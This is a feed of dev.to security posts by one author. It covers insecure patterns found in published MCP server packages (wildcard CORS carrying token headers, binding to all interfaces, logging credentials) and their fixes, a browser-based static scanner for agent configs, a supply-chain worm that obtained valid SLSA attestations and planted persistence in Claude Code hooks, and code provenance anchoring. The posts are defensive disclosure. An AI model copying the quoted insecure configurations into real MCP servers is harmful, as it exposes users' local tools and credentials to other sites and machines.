&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;API request params:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;redactToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;apiParams&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Pattern 3: &lt;code&gt;Access-Control-Allow-Origin: *&lt;/code&gt; on a streamable-http transport
&lt;/h2&gt;

&lt;p&gt;When an MCP server offers Streamable HTTP, it is a web server — and the browser same-origin rules apply to it. One published package enabled CORS with a wildcard and explicitly allowed token-bearing custom headers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// http transport setup (anonymized)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;express&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nf"&gt;cors&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;methods&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;OPTIONS&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;allowedHeaders&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Authorization&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Mcp-Session-Id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;X-Api-Token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;1 of the 5 published packages (20%)&lt;/strong&gt; had this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Risk:&lt;/strong&gt; any web page the operator visits can issue a cross-origin POST to &lt;code&gt;http://localhost:3000/mcp&lt;/code&gt; and invoke the server's tools. In the package we saw, the server fell back to reading the token from request headers when no server-side token was set — meaning a page could potentially ride the server's own credential. CORS is not optional configuration here; it is the authentication boundary between the browser and a local privileged service.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; an MCP HTTP endpoint meant for local clients should not use &lt;code&gt;origin: "*"&lt;/code&gt;. Restrict allowed origins to an explicit allowlist (or omit wildcard CORS entirely and document the local proxy setup), and never accept a credential from a request header you did not explicitly opt into.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pattern 4: The server binds to all interfaces with no Host allowlist
&lt;/h2&gt;

&lt;p&gt;The companion mistake. The same package started its listener without a host argument:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// default in Node/Express: binds 0.0.0.0&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`MCP endpoint: http://localhost:&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/mcp`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;1 of the 5 published packages (20%)&lt;/strong&gt;. The startup message says &lt;code&gt;localhost&lt;/code&gt;; the socket tells a different story — omitting the host binds &lt;code&gt;0.0.0.0&lt;/code&gt;, reachable from the entire LAN.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Risk:&lt;/strong&gt; combined with pattern 3 (and no token gate), anyone on the local network can reach and invoke the MCP server — a paid data quota sitting on a laptop port. For comparison, the sibling project from the same maintainer had already done it correctly in its newer code: &lt;code&gt;app.listen(PORT, "127.0.0.1")&lt;/code&gt; plus an &lt;code&gt;ALLOWED_HOSTS&lt;/code&gt; Host-header check.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; bind explicitly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;HOST&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HOST&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;127.0.0.1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a deployment genuinely needs a non-loopback bind, require an explicit env var to opt in and add a Host-header allowlist.&lt;/p&gt;

&lt;h2&gt;
  
  
  A pre-release checklist for MCP authors
&lt;/h2&gt;

&lt;p&gt;Everything above is caught before publish with five checks:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Grep your built artifacts for &lt;code&gt;http://&lt;/code&gt;&lt;/strong&gt; — run the scanner against the &lt;code&gt;npm pack&lt;/code&gt; tarball, not just the repo source. The build is what users run.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit every &lt;code&gt;console.log&lt;/code&gt;/&lt;code&gt;logger&lt;/code&gt; call on a request or response path&lt;/strong&gt; — no credential field should reach stdout/stderr in stdio mode. Add a &lt;code&gt;redact&lt;/code&gt; helper and route payload logs through it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If you offer Streamable HTTP, bind &lt;code&gt;127.0.0.1&lt;/code&gt; by default&lt;/strong&gt; and require explicit configuration to expose anything wider.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No wildcard CORS on a transport that carries credentials&lt;/strong&gt; — explicit origin allowlist, and never fall back to trusting client-supplied token headers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Publish the fixes&lt;/strong&gt; — main-branch patches do not protect users on the npm &lt;code&gt;latest&lt;/code&gt; tag. Make the release part of the fix.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Wire this into a &lt;code&gt;prepublishOnly&lt;/code&gt; script and a CI step; the patterns are cheap to detect automatically and expensive to explain after the fact.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it on your own MCP
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;CLI (local static scan, code never leaves your machine): &lt;code&gt;npx correctover-scan&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Zero-install browser version: &lt;a href="https://dshcorrectover.github.io/agent-audit/scan.html" rel="noopener noreferrer"&gt;https://dshcorrectover.github.io/agent-audit/scan.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Project organization: &lt;a href="https://github.com/DSHCorrectover" rel="noopener noreferrer"&gt;https://github.com/DSHCorrectover&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclaimer
&lt;/h2&gt;

&lt;p&gt;Results are based on static analysis of publicly available package versions and repositories at scan time (2026-09-04). They are not a security rating or certification of any individual project; absence of findings in this scan is not a guarantee of safety, and findings reflect the versions we downloaded. The Python fastmcp ecosystem and closed-source vendor MCPs were outside this round's scope. All confirmed findings have been privately disclosed to the relevant maintainers.&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>security</category>
      <category>ai</category>
      <category>typescript</category>
    </item>
    <item>
      <title>You can run a security scanner without shipping your source code anywhere</title>
      <dc:creator>correctover</dc:creator>
      <pubDate>Thu, 03 Sep 2026 11:10:25 +0000</pubDate>
      <link>https://dev.to/correctover/you-can-run-a-security-scanner-without-shipping-your-source-code-anywhere-3ch9</link>
      <guid>https://dev.to/correctover/you-can-run-a-security-scanner-without-shipping-your-source-code-anywhere-3ch9</guid>
      <description>&lt;p&gt;When you build an AI agent, you end up with a folder of things you do not want to upload to a stranger's server: an MCP config full of API keys, a &lt;code&gt;node_modules&lt;/code&gt; bundle with third-party skills, and — if you ship an SDK or an MCP server to clients — source code that is literally your product.&lt;/p&gt;

&lt;p&gt;The usual "free online scanner" flow asks you to either paste your code into a box or zip up the repo and upload it. That is fine for a public demo project. It is a non-starter for closed-source, unreleased, or commercially sensitive code.&lt;/p&gt;

&lt;p&gt;It turns out you do not need a backend to do this. A static-analysis scanner can run &lt;em&gt;entirely in the browser tab&lt;/em&gt;. Here is how we built ours, and the one architectural decision that makes it trustworthy.&lt;/p&gt;

&lt;h2&gt;
  
  
  The constraint: the bytes must never leave the machine
&lt;/h2&gt;

&lt;p&gt;The goal was simple to state and surprisingly easy to get subtly wrong:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;drop in an &lt;code&gt;mcp.json&lt;/code&gt; / MCP config, or a JS bundle / &lt;code&gt;node_modules&lt;/code&gt; folder&lt;/li&gt;
&lt;li&gt;get a report mapped to &lt;a href="https://owasp.org/www-project-artificial-intelligence-security-verification-standard-aisvs-docs/" rel="noopener noreferrer"&gt;OWASP AISVS 1.0&lt;/a&gt; (the AI security verification standard)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;zero upload, zero account, zero telemetry&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;"Zero upload" is not a marketing line here, it is an enforced property. There is no server endpoint to receive files. The page is static HTML + one inlined JavaScript bundle. &lt;code&gt;fetch&lt;/code&gt; is never called with file contents. The scanning engine reads files through the browser's own &lt;code&gt;File&lt;/code&gt; / &lt;code&gt;FileReader&lt;/code&gt; API (drag-and-drop or the file picker), analyzes them in memory, and renders the report into the DOM. Close the tab and the data is gone.&lt;/p&gt;

&lt;p&gt;You can verify this the honest way: open DevTools → Network, drop in a file, and watch nothing leave.&lt;/p&gt;

&lt;h2&gt;
  
  
  How a CLI scanner becomes a browser scanner
&lt;/h2&gt;

&lt;p&gt;The scanner already existed as an npm CLI (&lt;code&gt;npx correctover-scan&lt;/code&gt;) and a GitHub Action. The trick to the browser version was that the engine was already pure static analysis — no network calls, no model dependency on the hot path. The core verification logic runs in &lt;strong&gt;sub-millisecond time on the core verification hot path&lt;/strong&gt;, which matters because the browser tab has to stay responsive while you drag in a few hundred files.&lt;/p&gt;

&lt;p&gt;The build step (&lt;code&gt;tools/build-browser.js&lt;/code&gt;) bundles the same &lt;code&gt;core/&lt;/code&gt; modules the CLI uses into a single &lt;code&gt;scan-bundle.js&lt;/code&gt; and exposes them on &lt;code&gt;window.CorrectoverScan&lt;/code&gt;. The HTML page calls:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;scanConfig(text)&lt;/code&gt; for MCP config files — 14 checks covering things like MCP transport TLS, tool auth, tool-allowlist pinning, kill-switch / budget limits, SSRF guards, credential exposure, sandboxing, version pinning, and logging.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;scanBundle(files)&lt;/code&gt; for JavaScript — a set of checks over the bundled code, with a &lt;em&gt;semantic&lt;/em&gt; pass instead of naive keyword matching.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last part is where naive scanners fall over. A grep for &lt;code&gt;child_process&lt;/code&gt; or &lt;code&gt;eval&lt;/code&gt; will flag every build tool, test runner, and bundler in existence. The engine classifies &lt;em&gt;intent&lt;/em&gt;: is that &lt;code&gt;exec()&lt;/code&gt; argument a hardcoded constant or attacker-controlled? Is the &lt;code&gt;eval&lt;/code&gt; inside a known code-execution sandbox, or is it running LLM-controlled input? Is the credential-looking regex part of a detection rule (the scanner contains a few of those itself)? Benign contexts get suppressed; genuinely dangerous patterns — dynamic eval of model output, unguarded shell execution, secrets passed to an unauthenticated MCP transport — get surfaced.&lt;/p&gt;

&lt;p&gt;Some checks are marked &lt;em&gt;semi-automated&lt;/em&gt;: the engine flags the pattern, but a human has to confirm whether the control is actually enforced in deployment. The report says so explicitly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mapping to a standard instead of inventing one
&lt;/h2&gt;

&lt;p&gt;Rather than hand you a pile of red/yellow dots, every check maps to an AISVS 1.0 control (for example, tamper-evident logging under the orchestration/agentic security chapter). The mapping page is deliberately honest about coverage: the automated scanner covers parts of 8 of the 12 AISVS chapters, and the chapters it &lt;em&gt;cannot&lt;/em&gt; cover statically — training-data integrity, adversarial robustness, model lifecycle change control — are marked as not covered, not silently skipped.&lt;/p&gt;

&lt;p&gt;That honesty matters. An automated scan is a fast first pass; it is not an audit, a certification, or a compliance verdict. The printed report carries that disclaimer, and the pages that reference AISVS note that OWASP® and AISVS are trademarks of the OWASP Foundation, which does not endorse or certify products.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this changes the workflow
&lt;/h2&gt;

&lt;p&gt;For a team shipping agents or MCP-based products, the practical difference is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;You can scan the thing you were going to ship.&lt;/strong&gt; Unreleased SDK, internal agent config, client code under NDA — none of it touches a server.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You get a shareable artifact.&lt;/strong&gt; The report prints/saves as PDF from the browser, so you can attach it to a vendor response without anyone needing an account.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The same engine runs in CI.&lt;/strong&gt; The browser scanner, the CLI, and the GitHub Action share the core modules and the rule identifiers, so a finding has the same name wherever it shows up.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The free scan deliberately does not try to do everything. It cannot produce a signed audit opinion, it cannot sign off on your supply chain, and a clean report does not mean "no vulnerabilities" — static analysis has false negatives by construction. For a vendor-acceptance or compliance trail you still need a manual audit. What it gives you is a five-minute, privacy-preserving first look at the configuration and bundle mistakes that cause the worst agent incidents: over-permissive tool allowlists, MCP servers without auth or TLS, unbounded agent budgets, and model output flowing into a shell.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it, and watch the Network tab
&lt;/h2&gt;

&lt;p&gt;The scanner is here — a static page, no signup:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://dshcorrectover.github.io/agent-audit/scan.html" rel="noopener noreferrer"&gt;https://dshcorrectover.github.io/agent-audit/scan.html&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Drop in an &lt;code&gt;mcp.json&lt;/code&gt; or a JS bundle, open DevTools → Network first if you are the skeptical type (you should be), and watch the bytes stay put.&lt;/p&gt;

&lt;p&gt;If you build agent tooling, I would be curious to hear what it flags in your own config — especially the semi-automated checks, where a human reading the context still beats any rule.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This article references OWASP AISVS 1.0 as an external, independently maintained community standard; Correctover is not affiliated with or endorsed by OWASP, and automated scanner output is not an audit or certification. Work on the related conformance receipt protocol is documented in an individual Internet-Draft (&lt;code&gt;draft-correctover-ccs&lt;/code&gt;), which is an IETF work-in-progress, not an RFC and not an IETF endorsement.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>aiagents</category>
      <category>mcp</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Valid provenance is not valid code: a supply-chain worm shipped with a valid SLSA attestation</title>
      <dc:creator>correctover</dc:creator>
      <pubDate>Thu, 03 Sep 2026 06:30:50 +0000</pubDate>
      <link>https://dev.to/correctover/valid-provenance-is-not-valid-code-a-supply-chain-worm-shipped-with-a-valid-slsa-attestation-2ld3</link>
      <guid>https://dev.to/correctover/valid-provenance-is-not-valid-code-a-supply-chain-worm-shipped-with-a-valid-slsa-attestation-2ld3</guid>
      <description>&lt;p&gt;In May 2026, a supply-chain worm did something the security community had been warning about for years: it got the receipt.&lt;/p&gt;

&lt;p&gt;According to Akamai's analysis, the May 11–12 wave of the &lt;strong&gt;Mini Shai-Hulud&lt;/strong&gt; campaign didn't steal an npm token. It poisoned a GitHub Actions CI cache through a fork-pull-request misconfiguration in the TanStack release workflow, waited for a legitimate maintainer merge, then ran inside the trusted release pipeline. The worm scraped credentials from the runner's memory and exchanged them for publish credentials through npm's own OIDC token endpoint. The result, in Akamai's words, was that the attack was "invisible and grant[ed] it SLSA attestation validation." (&lt;a href="https://www.akamai.com/blog/security-research/2026/may/mini-shai-hulud-worm-returns-goes-public" rel="noopener noreferrer"&gt;Akamai Security Intelligence Group, May 15 2026&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;Across the full campaign (an earlier wave hit SAP's &lt;code&gt;@cap-js&lt;/code&gt; packages, PyTorch Lightning, and Intercom in late April/early May), Cloud Security Alliance counts &lt;strong&gt;180+ compromised packages, 400+ malicious versions&lt;/strong&gt;, affecting packages with more than &lt;strong&gt;518 million cumulative historical downloads&lt;/strong&gt;. (&lt;a href="https://labs.cloudsecurityalliance.org/wp-content/uploads/2026/05/CSA_research_note_teampcp_mini_shai_hulud_package_registry_wave_20260502-csa-styled.pdf" rel="noopener noreferrer"&gt;CSA research note&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;The worm also installed persistence into &lt;strong&gt;Claude Code session hooks and VS Code task automation&lt;/strong&gt; — which means it specifically dug into the agent tooling layer, and survived an &lt;code&gt;npm uninstall&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the attestation actually attests
&lt;/h2&gt;

&lt;p&gt;This is not a Sigstore flaw, and it's not a SLSA flaw. The provenance system worked exactly as designed. A SLSA Build Level 3 attestation answers one question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Was this artifact produced by the trusted build environment, from the claimed source?&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It does &lt;strong&gt;not&lt;/strong&gt; answer:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Is the code in this artifact what the maintainer thinks it is?&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When the build environment itself is compromised, the attestation is produced honestly — by a dishonest environment. The signature is valid. The certificate is valid. The log entry is valid. The code is a worm.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Valid provenance is not valid code.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Keyless signing (the Sigstore/Fulcio model) binds identity to a short-lived OIDC token issued to the CI environment. That's a great default for the overwhelming majority of projects, and we use the same transparency log it writes to (more on that below). But it draws the trust boundary &lt;em&gt;around the build environment&lt;/em&gt; — and the build environment is exactly what Mini Shai-Hulud attacked.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two layers the receipt doesn't cover
&lt;/h2&gt;

&lt;p&gt;Reading the post-incident writeups, two gaps keep showing up:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Content-first evidence.&lt;/strong&gt; Attestations are environment-first: they certify &lt;em&gt;where and how&lt;/em&gt; something was built. A content-first receipt certifies &lt;em&gt;what the code is&lt;/em&gt;: a canonical manifest of every file and its hash, signed, anchored to a transparency log, with a durable citation that outlives any single registry or CI system. You can answer "does this byte-for-byte match what was anchored at release time?" offline, without asking anyone's server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. An optional key-isolation path.&lt;/strong&gt; Keyless signing has no concept of "the signing key never touches CI." For most projects that's fine — convenience wins. For high-assurance releases (infrastructure packages, agent runtimes, anything that harvests credentials by design), there's value in a mode where the signing key lives &lt;em&gt;outside&lt;/em&gt; the runner: an offline signer, a human approval step, or a KMS. Compromising a runner then no longer yields the ability to mint a valid release identity. The ecosystem has the building blocks (&lt;code&gt;cosign&lt;/code&gt; supports bring-your-own keys), but the content-manifest-and-durable-anchor layer around them is still DIY.&lt;/p&gt;

&lt;p&gt;There's also a third gap that matters specifically for AI assets: hashes answer "is this identical," but never "is this &lt;em&gt;derived from&lt;/em&gt; mine." A model fine-tuned from your weights, or a plugin forked past recognition, hashes differently by design. That requires semantic comparison — a different problem from signing.&lt;/p&gt;

&lt;h2&gt;
  
  
  What we built (and what we refuse to claim)
&lt;/h2&gt;

&lt;p&gt;We work on this problem. Our open-source &lt;strong&gt;code birth certificate&lt;/strong&gt; produces a signed content manifest (JCS-canonical hashes, Ed25519), anchors it to the public &lt;strong&gt;Rekor&lt;/strong&gt; transparency log, and optionally mints a &lt;strong&gt;Zenodo DOI&lt;/strong&gt; as a durable citation. A zero-configuration GitHub Action runs it on release; verification needs no account and no server of ours — the public key is embedded in the receipt, so verification is fully offline.&lt;/p&gt;

&lt;p&gt;Our own dogfood anchors are public and independently checkable: Rekor log index &lt;a href="https://search.sigstore.dev/?logIndex=2694324795" rel="noopener noreferrer"&gt;&lt;code&gt;2694324795&lt;/code&gt;&lt;/a&gt; with DOI &lt;a href="https://doi.org/10.5281/zenodo.22266162" rel="noopener noreferrer"&gt;&lt;code&gt;10.5281/zenodo.22266162&lt;/code&gt;&lt;/a&gt;. The GitHub Action that mints these certificates anchors its own repository on every run inside CI — the latest such self-anchor is Rekor index &lt;a href="https://search.sigstore.dev/?logIndex=2695953558" rel="noopener noreferrer"&gt;&lt;code&gt;2695953558&lt;/code&gt;&lt;/a&gt;, produced by a public GitHub Actions run rather than anyone's laptop.&lt;/p&gt;

&lt;p&gt;Three things we want to be explicit about, because a supply-chain incident is a bad time for marketing ambiguity:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;If you run our Action with the signing key stored in a CI secret, you stand on the same side of the trust boundary as keyless signing.&lt;/strong&gt; That's the convenience mode, and it's a reasonable default. The key-isolation mode — key held outside the runner — is the one that changes the threat model. Pick deliberately.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;We build on Sigstore, not against it.&lt;/strong&gt; Our anchors &lt;em&gt;are&lt;/em&gt; Rekor entries. We're an application layer on top of the public transparency-log ecosystem, not a replacement. "Sign everything keyless by default" remains the right advice for most projects.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Anchoring proves existence, timestamp, and content binding — nothing else.&lt;/strong&gt; It doesn't prove code is safe, isn't malware, or isn't infringing. A DOI is evidence of existence and timestamp, not a copyright registration. And no signature — ours or anyone's — would have stopped Mini Shai-Hulud's persistence in Claude Code hooks. That's a &lt;em&gt;runtime&lt;/em&gt; problem: what the agent does after install, which is the other half of what we work on.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The practical takeaway
&lt;/h2&gt;

&lt;p&gt;After Mini Shai-Hulud, the question "is your supply chain signed?" is no longer enough. Three better questions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Does the receipt certify the build environment — or the code's content?&lt;/strong&gt; Ideally both, and you should know which you're looking at.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Where does the signing key live?&lt;/strong&gt; "Short-lived token inside the runner" is fine until the runner is the target. Know your mode.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What watches the code after it runs?&lt;/strong&gt; Signed packages can still be worms. Agents that install hooks into your editor doubly so.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Attestations got us from "trust me" to "trust the build." The next step is "trust the content — and verify it yourself."&lt;/p&gt;




&lt;p&gt;&lt;em&gt;We're Correctover — we build evidence infrastructure for the AI age: verifiable provenance for code and runtime assurance for agents. The birth-certificate tooling is open source (MIT); the transparency logs and DOI registry it uses are public infrastructure maintained by the Sigstore and Zenodo communities.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>supplychain</category>
      <category>ai</category>
      <category>github</category>
    </item>
    <item>
      <title>Code in the AI age needs a birth certificate (and ours is publicly verifiable)</title>
      <dc:creator>correctover</dc:creator>
      <pubDate>Thu, 03 Sep 2026 04:21:40 +0000</pubDate>
      <link>https://dev.to/correctover/code-in-the-ai-age-needs-a-birth-certificate-and-ours-is-publicly-verifiable-m4i</link>
      <guid>https://dev.to/correctover/code-in-the-ai-age-needs-a-birth-certificate-and-ours-is-publicly-verifiable-m4i</guid>
      <description>&lt;p&gt;A few weeks ago, a developer posted a question that has been quietly bothering&lt;br&gt;
everyone who builds with AI:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"I never open-sourced that code. An agent pulled it from somewhere and handed&lt;br&gt;
it out as open source. Whose code is it now? And honestly — when all the code&lt;br&gt;
is written by models anyway, what does 'open source' even mean anymore?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That question has no clean legal answer yet. But it has a clean &lt;strong&gt;technical&lt;/strong&gt;&lt;br&gt;
prerequisite, and it's the same prerequisite every supply-chain conversation&lt;br&gt;
keeps running into:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Before anyone can argue about who owns a piece of code or where it came from,&lt;br&gt;
you need to be able to prove what existed, when, and in exactly what form —&lt;br&gt;
without trusting the person making the claim.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's a provenance problem. We just built the smallest end-to-end version of it&lt;br&gt;
we could, anchored a real public code snapshot, and verified the whole chain&lt;br&gt;
ourselves. This article is what we built, why each piece exists, and the three&lt;br&gt;
commands you can run to check it without trusting us at all.&lt;/p&gt;
&lt;h2&gt;
  
  
  What "proof" actually requires
&lt;/h2&gt;

&lt;p&gt;A screenshot of a timestamp proves nothing. A hash you computed yourself and&lt;br&gt;
show me later proves nothing — I can't tell when you computed it, or whether the&lt;br&gt;
thing I'm looking at now is the thing you hashed.&lt;/p&gt;

&lt;p&gt;A claim like "this code existed on September 3rd" only becomes checkable when&lt;br&gt;
four independent layers line up:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;A content-addressed manifest.&lt;/strong&gt; Every file gets a SHA-256 hash, and the
manifest itself is canonicalized before hashing — we use JCS (JSON
Canonicalization Scheme, &lt;a href="https://www.rfc-editor.org/rfc/rfc8785" rel="noopener noreferrer"&gt;RFC 8785&lt;/a&gt;),
so the hash is stable across key ordering, whitespace, and language
differences. The hash commits to the exact bytes, file by file.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A signature over that manifest.&lt;/strong&gt; A key the claimant controls signs the
